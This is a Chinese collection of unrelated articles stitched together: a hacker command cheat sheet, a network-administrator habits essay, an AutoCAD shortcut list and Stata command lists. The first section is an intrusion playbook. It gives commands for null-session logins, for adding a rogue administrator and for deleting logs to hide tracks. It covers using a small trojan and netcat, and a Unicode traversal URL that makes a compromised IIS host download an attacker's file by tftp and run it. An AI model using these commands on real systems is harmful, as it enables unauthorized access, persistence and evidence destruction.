第一篇:網管和黑客常用的命令總結
常用的幾條NET命令:
====
(與遠程主機建立空管連接)net use IP地址ipc$ “" /use:”“
(以管理員身份登錄遠程主機)net use IP地址ipc$ ”密碼“ /use:”Administrator“
(傳送文件到遠程主機WINNT目錄下)copy 本機目錄路徑程序 IP地址admin$
(查看遠程主機時間)net time IP地址
(定時啟動某個程序)at IP地址 02:18 readme.exe
(查看共享)net view IP地址
(查看netbios工作組列表)nbtstat-A IP地址
(將遠程主機C盤映射為自己的F盤)net use f: IP地址c$ ”“/user:”Administrator“
(這兩條把自己增加到管理員組): net user 用戶名 密碼 /add
net localgroup Administrators 用戶名 /add
(斷開連接)net use IP地址ipc$ /delete
=======
擦屁屁:
del C:winntsystem32logfiles*.*
del C:winntsystem32config*.evt
del C:winntsystem32dtclog*.*
del C:winntsystem32*.log
del C:winntsystem32*.txt
del C:winnt*.txt
del C:winnt*.log ============================
一、netsvc.exe
下面的命令分別是列出主機上的服務項目、查尋和遠程啟動主機的“時間任務”服務:
netsvc /list IP地址
netsvc schedule IP地址 /query
netsvc IP地址 schedule /start
二、OpenTelnet.exe
遠程啟動主機的Telnet服務,并綁定端口到7878,例如:
OpenTelnet IP地址 用戶名 密碼 1 7878
然后就可以telnet到主機的7878端口,進入DOS方式下:
telnet IP地址 7878
三、winshell.exe
一個非常小的木馬(不到6K),telnet到主機的7878端口,輸入密碼winshell,當看到CMD>后,可打下面的命令:
p Path(查看winshell主程序的路徑信息)
b reBoot(重新啟動機器)
d shutDown(關閉機器)
s Shell(執行后你就會看到可愛的“C:>”)
x eXit(退出本次登錄會話,此命令并不終止winshell的運行)
CMD> http://.../srv.exe(通過http下載其他網站上的文件到運行winshell的機器上)
四、3389登陸器,GUI方式登錄遠程主機的五、elsave.exe
事件日志清除工具
elsave-s IP地址-l ”application“-C
elsave-s IP地址-l ”system“-C
elsave-s IP地址-l ”security“-C
執行后成功清除應用程序日志,系統日志,安全日志
六、hbulot.exe
開啟win2kserver和winxp的3389服務
hbulot [/r]
使用/r表示安裝完成后自動重起目標使設置生效。
七、nc.exe(netcat.exe)
一個很好的工具,一些腳本程序都要用到它,也可做溢出后的連接用。
想要連接到某處: nc [-options] hostname port[s] [ports]...綁定端口等待連接: nc-l-p port [-options] [hostname] [port]
參數:
-e prog 程序重定向,一旦連接,就執行 [危險!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12,...-h 幫助信息
-i secs 延時的間隔
-l 監聽模式,用于入站連接
-n 指定數字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地端口號
-r 任意指定本地及遠程端口
-s addr 本地源地址
-u UDP模式
-v 詳細輸出——用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉——用于掃描時
八、TFTPD32.EXE
把自己的電腦臨時變為一臺FTP服務器,讓肉雞來下載文件,tftp命令要在肉雞上執行,通常要利用Unicode漏洞或telnet到肉雞,例如:
http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp-i 本機IP地址 get 文件名 c:winntsystem32文件名
然后可以直接令文件運行:
http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer遠程緩沖區溢出工具。idqover.exe是溢出idq的,選擇“溢出后在一個端口監聽”,然后用telnet連接它的監聽端口,如果溢出成功,一連它的端口,綁定的命令馬上執行。xploit.exe是一個圖形界面的ida溢出,成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三個cgi-backdoor,exe要放到cgi-bin目錄下,asp放到有ASP執行權限的目錄。然后用IE瀏覽器連接。
一、一 Xscan命令行運行參數說明:
在檢測過程中,按”[空格]“鍵可以查看各線程狀態及掃描進度,按”q“鍵保存當前數據后提前退出程序,按”“強行關閉程序。
1.命令格式: xscan-host [-] [其他選項]
xscan-file [其他選項]
其中 含義如下:
-port : 檢測常用服務的端口狀態(可通過datconfig.ini
文件的”PORT-SCAN-OPTIONSPORT-LIST“項定制待檢測端口列表);
-ftp : 檢測FTP弱口令(可通過datconfig.ini文件設置用戶名/密碼字典文件);
-ntpass : 檢測NT-Server弱口令(可通過datconfig.ini文件設置用戶名/密碼字典文件);
-cgi : 檢測CGI漏洞(可通過datconfig.ini文件的”CGI-ENCODEencode_type“項設置編碼方案);
-iis : 檢測IIS漏洞(可通過datconfig.ini文件的”CGI-ENCODEencode_type"項設置編碼方案);
[其他選項] 含義如下:
-v: 顯示詳細掃描進度
-p: 跳過Ping不通的主機
-o: 跳過沒有檢測到開放端口的主機
-t : 指定最大并發線程數量和并發主機數量, 默認數量為100,10
第二篇:網管總結
一直做企業網絡技術支持,這些年的工作經驗告訴我:一個優秀的網絡管理人員只有技術是遠遠不夠的,良好的、科學的習慣有時候比技術更加重要。企業網絡更多時候運行在常態下,網管更多扮演著網絡維護者的角色,而不是消防隊、救火隊。這個時候,更需要網絡管理員以嚴謹、認真、積極的態度做好網絡的日常維護,而良好的習慣在其中起著決定性的作用。那么,企業網管應該養成哪些好習慣呢?下面分網絡常態和非常態分別談談網管應該具有的好習慣。
1、常態下,未雨綢繆做好網絡狀況的檢測
我認為衡量一個優秀網管的標準,不是看他排網絡故障的效率有多高,而是看他維護的網絡發生故障的頻率有多低。當然,要徹底避免網絡故障是不可能的,但是優秀網管可以讓其盡可能少地發生。因為,畢竟網絡故障已經發生,不管你的排故效率有多高,但或多或少都會對企業的生成造成一定的影響,特別是信息化程度越高的企業這種影響會越大。我認為,除了科學的網絡架構與部署之外,常態下的網絡狀況檢測是減少網絡故障的有力保障。這也就是優秀網管平時應該做的工作之一。
其實并不是所有的網絡故障都是突發性的,大部分故障都有一個累積的過程,是一個由量變到質變的過程。這就像一位“病人”,最初可能不會感到明顯的“身體不適”,如果不進行檢查是不能發現的。網絡維護其實就像給人看病,排故是最后的選擇,此前的檢測是非必要的。特別對于服務器、路由器/交換機這些核心的網絡設備,定期的性能監控是必不可少的。
以路由器為例,網管們通過要對其進行優化,但優化是否會帶來其他的隱性問題呢?所以如何及時發現路由優化方面的問題,就是網絡定期項目測試中的內容之一,特別是大型網絡中則更有必要。如果監控和測試呢?大家知道,許多網絡設備如路由器、交換機、只能集線器等都支持SNMP網管功能,但為了全面監測網絡通道功能,還需要網絡設備支持全面的RMON和RMON2,用這樣的設備組建起來的網絡其管理和故障診斷功能是很不錯的。但現實的問題是,這樣的網絡設備價格是普通網絡設備的6~10倍左右,企業不見得有這些IT預算。因此,為了隨時監測網絡的服務應用流量及其比例、來源,工作記錄以及必要時進行解包分析,我建議網管們在重要的服務器通道或路由通道上安裝監測接口。以便必要時可以隨時將流量分析儀、網絡測試儀接入通道進行監測和分析。這樣,一來可以在常態下實時了解設備的運行狀態,二來在故障排除時能夠快速定位,使得故障的查找時間可以縮短很多,降低運維成本。當然,如果資金允許,我還是建議將流量分析儀長期接入通道對多個重要的網絡設備進行全速率透明流量監測,這樣便于隨時了解設備健康狀況。退一步,就算該設備出現故障,我們可以在1分鐘之內快速定位故障。
與路由器/交換機類似,網管們要對其他是設備進行實時的監控或者定期的檢測。網絡監控可用專門的儀器(這當然是最好的),當然對于IT經費緊縮的企業借用第三方軟件也可以實現類似的功能,但是不管怎樣,監控、檢測是必須要做的。我的感悟,沒有監控的網絡是不健康的,是一個隨時會倒下的“病人”。
2、排故時,不要盲動將網絡排故成本將到最低
我遇到過很多這樣的網管,當網絡發生故障時,不能夠冷靜地分析問題,而是想當然地進行所謂的“排故”。其結果是不但問題沒有解決,而且使得問題擴大化,最后束手無策請專家來維修。而且,由此付出的時間和經濟上當投入,使得維護成本大大增加。老總臉色難看,搞得自己很沒有面子也很被動。其實,網絡排故就像醫生為病人做手術或者警察破案,保持一個冷靜的頭腦是至關重要的,千萬不要盲動。現場保存,調查取證,分析研究這是最基本的素質。
(1).評估與現場保存
首要對故障狀況有一個大概的評估,是否在自己的能力解決范圍之內,如果對自己解決問題沒有信心,就不要動手。在專家到來之前,做好現場保存。并進行一定的調查取證,比如故障前的各種操作行為,故障觸發時的各種信息,故障現象等。這樣在專家到來之后,就能夠將這些重要的信息反饋給他們,從而免去他們做類似工作花費的時間,為故障的快速排除贏得時間。當然,在專家排錯的過程中要仔細觀察,大膽提問,不但要學習如何排除故障,還要搞懂故障發生的原因。這樣,當今后遇到此類故障的時候,就能夠自己解決。
(2).隔離與實驗測試
最小化原則還有一個方面就是,不要讓故障擴大,要馬上將故障網絡進行隔離。另外,不要因為的輕率操作,使得故障不可收拾。對于那些不是非常危急的故障,可以自己嘗試解決。我的建議是,條件允許的話最好在實驗環境中進行,通過實驗室中的設備模擬出類似故障,然后進行排錯。如果沒有實驗環境,在真實環境中進行操作,首先要做好相應的備份,然后進行網絡隔離,最后才進行操作。還有,對自己在排故中的每一步操作做好記錄。這非常重要,如果排故失敗你就有可能回溯。就算不能回溯,在專家到來時,你至少可以告訴他你都進行了哪些操作,這對于專家快速排故是非常重要的。
(3).不能簡單粗暴
做技術支持中,我經常看到這樣的管理員:當網絡被判為病毒發作時,就會首先啟用多種殺毒軟件進行查殺毒操作,無效。然后,把所有工作站格式化,重新安裝其操作系統和應用軟件。但由于問題出在服務器,所以仍然不見效。最后,不得不將所有機器(當然也包括服務器)格式化以后重新安裝系統平臺及應用軟件。當然,這種簡單粗暴的做法,應當為技術性的網管所不齒。說到底,這不應該算是網絡排故,將一個也許很簡單的問題擴大化了,由此增加的網絡維護成本太大了。我認為,網絡排故的兩個基本原則是針對性和最小化。忠告網管們千萬不要盲動,采取簡單粗暴的做法。
當下,崇尚技術認為技術萬能的網管不在少數。由于網絡的復雜性,技術的有限性(哪怕你技術再高),僅靠技術不能解決所有問題。因此,我要說的是,如果沒有良好的習慣,你一定會為此付出代價。技術與好的習慣對于企業網管,哪個更重要呢?當然不能厚此薄彼,只有兩者并舉才能成為優秀的網管。
第三篇:AutoCAD2017命令總結
AutoCAD2017命令總結
直線:L+空格
畫直線時點三點:C+空格鍵可以使三條線形成閉合狀態 畫圓:C+空格
ESC取消一切命令
單擊右鍵可以回到上一步命令(控制在250毫秒內)正交:F8切換正交
繪制線段:光標指定方向,輸入數字+空格鍵 指定長度:輸入數字+Tab 指定角度:輸入數字+enter 打開設置界面:OP 三角形內畫圓采用相切三點畫圓
圓弧:端點(起點)----中心點-------端點 刪除命令:E+空格鍵
切換圓弧方向:在最后端點時不點擊確定,按住Ctrl移動光標即可改變圓弧方向 啟動三點圓弧命令:A+空格鍵 光順曲線:BLEND+空格鍵
修剪命令:首先選好不修剪的位置(選擇時呈現藍色)選好后按空格鍵,這時光標變成紅色X點擊后即可修剪。
橢圓繪制:EL+空格鍵(橢圓命令開始系統設置:端點--端點---高)橢圓圓心命令:EL+空格鍵+C+空格鍵 橢圓弧命令:EL+空格鍵+A+空格鍵
繪制橢圓弧開始命令前要選擇好中心點。
樣條曲線擬合:繪制后需要調整時應先將捕捉按鈕關閉
樣條曲線控制點命令:與樣條曲線擬合相似,但是更容易操作 多線段:PL+空格鍵(多用于計算面積)矩形:REC+空格鍵
圓角矩形:REC+空格鍵+F+空格鍵
設置圓角半徑 倒角矩形:REC+空格鍵+C+空格鍵
設置倒角半徑 多邊形:POL+空格鍵 單點命令:PO +空格鍵
點設置:DDPTYE+空格鍵(在頁面上無法找到點設置快捷方式要牢記)圓環:DOUNT+空格鍵(直接在頁面上單擊圓環命令更方便)
第二章:(圖例)
示例圖形:移動:M+空格鍵
減選命令:SHIFT+單擊所要減選的圖形即可 欄選方式:M+空格鍵+F+空格鍵
復制命令:單擊復制+P(選擇上一次點擊的對象)+空格鍵(結束點擊空格鍵)類似選擇:選擇需要類似選擇的一小部分+單擊右鍵 全選:Ctrl+A 快速選擇窗口:QSELECT+空格鍵
(打開快速選擇窗口首先要制定范圍不然應用將用于所有窗口)
移動捕捉中點:M+空格鍵(選擇需要移動捕捉的對象)按住Shift鍵單擊右鍵選擇中點 移動制定距離:
第四篇:stata命令總結
表2-1: 回歸分析相關命令一覽
命令用途
anova 方差和協方差分析 heckman Heckman 篩選模型
intreg 離散型變量模型,包括Tobit、cnreg 和intreg ivreg 工具變量法(IV 或2SLS)
newey Newey-West 標準差設定下的回歸
prais 針對序列相關的Prais-Winsten, Cochrane-Orcutt, or Hildreth-Lu 回歸 qreg 分量回歸 reg OLS 回歸 sw 逐步回歸法
reg3 三階段最小二乘回歸
rreg 穩健回歸(不同于方差穩健型回歸,即White 方法)sureg 似無相關估計
svyheckman 調查數據的Heckman 篩選模型 svyintreg 調查數據的間斷變量回歸 svyregress 調查數據的線性回歸 tobit Tobit 回歸
treatreg treatment 效應模型 truncreg 截斷回歸
表2-2: 時間序列命令一覽
命令用途
clemao1 允許結構突變的單位根檢驗 zandrews dfuller dfgls pperron coin 單方程協整檢驗
dwstat 參考dwstat2 , durbina2 durbinh
表2-3: Panel Data 模型相關命令一覽I 命令模型
統計描述相關命令:
xtdes 變量類型,數據類型描述 xtsum 基本統計量 xttab 按表格形式列示 xtpattern 面板數據的模式 估計相關命令:
xtreg 面板數據模型(固定效應、隨機效應)
xtregar 含有AR(1)干擾項的固定效應和隨機效應面板數據模型
xtgls 截面-時序混合模型,可處理異方差、組內序列相關和組間相關性 xtpcse OLS or Prais-Winsten models with panel-corrected standard errors xtrchh Hildreth-Houck random coefficients models xtivreg 面板模型的工具變量或兩階段最小二乘法估計 xtabond Arellano-Bond(1991)線性動態面板數據模型估計
xtabond2 Arellano-Bover(1995)系統GMM 動態面板數據模型估計 xttobit Tobit 隨機效應面板模型
xtintreg Random-effects interval data regression models xtlogit Fe, Re, Pa logit models xtprobit Re, Pa probit models xtcloglog Re, Pa cloglog models xtpoisson Fe, Re, Pa Poisson models xtnbreg Fe, Re, Pa negative binomial models xtfrontier 面板隨機前沿模型
xthtylor Hausman-Taylor estimator for error-components models
表2-4: Panel Data 模型相關命令一覽II 命令模型
假設檢驗相關:
test Wald 檢驗,如時間效應聯合顯著性檢驗 xttest0 隨機效應檢驗 xttest1 面板序列相關檢驗 xttest2 ads xtserial Wooldridge 一階序列相關檢驗 xtab Arellano 面板一階序列相關檢驗 hausman Hausman 檢驗 面板單位根和協整相關: xtunit stata提供的檢驗方法
ipshin IPS(2003)面板單位根檢驗
levilin Levin,Lin和Chu(LLC, 2002)面板單位根檢驗 madfuller Sarno-Taylor(1998)面板單位根檢驗
xtfisher Maddala和Wu(1999),基于P 值的面板單位根檢驗
表2-5: Post-estimation Commands 命令名稱用途
adjust 列示預測結果的均質,適于多種回歸分析,可分組列示 estimates 估計結果的存儲、再顯示、列表比較等 hausman Hausman 模型識別檢驗
lincom 獲得參數的線性組合,在Logit 模型中可以獲得系數線性組合的OR 值 linktest 但方程link 識別檢驗,用y 對Oy 和Oy2 回歸 lrtest 似然比(LR)檢驗
mfx 計算邊際效應和彈性系數 nlcom 系數的非線性組合 predict 獲得擬合值、殘差等
predictnl 獲得非線性估計的擬合值、殘差等 test 線性約束的假設檢驗,Wald 檢驗 testnl 非線性約束的假設檢驗
vce 列示參數估計值的方差-協方差矩陣
表2-6: 二維圖種類一覽
圖形種類簡單描述 scatter scatterplot line line plot connected connected-line plot scatteri scatter with immediate arguments area line plot with shading bar bar plot spike spike plot dropline dropline plot dot dot plot rarea range plot with area shading rbar range plot with bars rspike range plot with spikes rcap range plot with capped spikes rcapsym range plot with spikes capped with symbols rscatter range plot with markers rline range plot with lines rconnected range plot with lines and markers tsline time-series plot tsrline time-series range plot mband median-band line plot mspline spline line plot lowess LOWESS line plot lfit linear prediction plot qfit quadratic prediction plot fpfit fractional polynomial plot lfitci linear prediction plot with CIs qfitci quadratic prediction plot with CIs fpfitci fractional polynomial plot with CIs function line plot of function histogram histogram plot kdensity kernel density plot 表2-7: 二維圖選項一覽
選項類別簡單描述
added line options draw lines at specified y or x values added text option display text at specified(y,x)value axis options labels, ticks, grids, log scales title options titles, subtitles, notes, captions legend option legend explaining what means what scale(#)resize text, markers, and line widths region options outlining, shading, aspect ratio, size aspect option constrain aspect ratio of plot region scheme(schemename)overall look by(varlist,...)repeat for subgroups nodraw suppress display of graph name(name,...)specify name for graph saving(filename,...)save graph in file advanced options difficult to explain 表2-9: 模擬分析相關命令一覽
命令用途備注 抽樣相關:
corr2data 產生具有指定相關性的數據僅適用于模擬相關分析 drawnorm invnorm(uniform())產生服從標準正態分布的隨機數函數,可調節均值和方差 matuniform(r,c)產生均勻分布函數
sample 從現有數據中進行非重復隨機抽樣參考bsample sim arma 產生服從ARIMA 過程的隨機變量需要下載 Bootstrap 相關: bootstrap bs bstat bsample MC 相關: simulate MC simulation jknife 類似于MC permute postfile 存儲MC 的結果 statsby exp list
第五篇:stata命令總結
stata11常用命令
注:JB統計量對應的p大于0.05,則表明非正態,這點跟sktest和swilk檢驗剛好相反; dta為數據文件; gph為圖文件; do為程序文件;
注意stata要區別大小寫; 不得用作用戶變量名:
_all _n _N _skip _b _coef _cons _pi _pred _rc _weight double float long int in if using with 命令:
讀入數據一種方式 input x y 1 4 2 5.5 3 6.2 4 7.7 5 8.5 end su/summarise/sum x 或 su/summarise/sum x,d 對分組的描述: sort group by group:su x %%%%% tabstat economy,stats(max)%返回變量economy的最大值
%%stats括號里可以是:mean,count(非缺失觀測值個數),sum(總和),max,min,range,%% sd,var,cv(變易系數=標準差/均值),skewness,kurtosis,median,p1(1%分位
%% 數,類似地有p10, p25, p50, p75, p95, p99),iqr(interquantile range = p75 – p25)_all %描述全部
_N 數據庫中觀察值的總個數。_n 當前觀察值的位置。_pi 圓周率π的數值。list gen/generate %產生數列 egen wagemax=max(wage)clear use by(分組變量)set more 1/0 count %計數
gsort +x(升序)gsort-x(降序)sort x 升序;并且其它變量順序會跟著改變 label var y “消費” %添加標簽 describe %描述數據文件的整體,包括觀測總數,變量總數,生成日期,每個變量的存儲類型(storage type),標簽(label)replace x5=2*y if x!=3 %替換變量值
replace age = 25 in 107 %令第107個觀測中age為25 rename y2 u %改變變量名
drop in 2 %刪除全部變量的第2行
drop if x==.刪去x為缺失值的所有記錄
keep if x<2 %保留小于2的數據,其余變量跟隨x改變 keep in 2/10 %保留第2-10個數
keep x1-x5 %保留數據庫中介于x1和x5間的所有變量(包括x1和x5),其余變量刪除
ci x1 x2,by(group)%算出置信區間,不過先前對group要先排序,即sort group;
%by的意思逐個進行
cii 12 3.816667 0.2710343, level(90)%已知均值,方差,計算90%的置信區間
cii 10 2 %obs=10,mean=2,以二項分布形式,計算置信區間 centile x,centile(2.5 25 50 75 97.5)%取分位數 correlate/corr x y z %相關系數
pwcorr x y,sig %給出原假設r=0的命令 %如果變量非服從正態分布,則spearman x y regress/reg mean year %回歸方程建立 reg y x,noconstant %無常數項 predict meanhat %預測擬合值 predict e,residual %得到殘差 estat hettest % 異方差檢驗
dwstat % Durbin-Watson自相關檢驗 vif % 方差膨脹因子
logit y x1 x2 x3(y取0或1,是被解釋變量,x1-x3是被解釋變量)%logit回歸
probit y x1 x2 x3(y取0或1,是被解釋變量,x1-x3是被解釋變量)%probit回歸
tobit y x1 x2 x3(y取值在0和1之間,是被解釋變量,x1-x3是被解釋變量)%tobit回歸
sktest e %殘差正態性檢驗 p>0.05則接受原假設,即服從正態分布; %% sktest是基于變量的偏度和斜度(正態分布的偏度為0,斜度為3)swilk x %基于Shapiro-Wilk檢驗
%%p值越小,越傾向于拒絕零假設,也就是變量越有可能不服從正態分布 xi %生成虛擬變量 tabulat gender,summ(math)%用gender指標對math進行分類,返回兩類math的mean、std、freq tabulate=tab %gen f=int((shengao-164)/3)*3+164 組距為3 tabulate 變量名 [, generate(新變量)missing nofreq nolabel plot ] %%%%% generate(新變量)// 按分組變量產生啞變量 nofreq // 不顯示頻數 nolabel // 不顯示數值標記 plot // 顯示各組頻數圖示 missing // 包含缺失值
cell // 顯示各小組的構成比(小組之和為 1)column // 按欄顯示各組之構成(各欄總計為 1)row // 按行顯示各組之構成(各行總計為 1)%%%%% 求和,求最小? mod(x,y)%求余數
means %返回三種平均值 di normprob(1.96)di invnorm(0.05)di binomial(20,5,0.5)di invbinomial(20,5,0.5)di tprob(10,2)di invt(10.0.05)di fprob(3,27,1)di invfprob(3,27,0.05)di chi2(3,5)di invchi2(3,0.05)stack x y z,into(e)%把三列合成一列 xpose,clear %矩陣轉置
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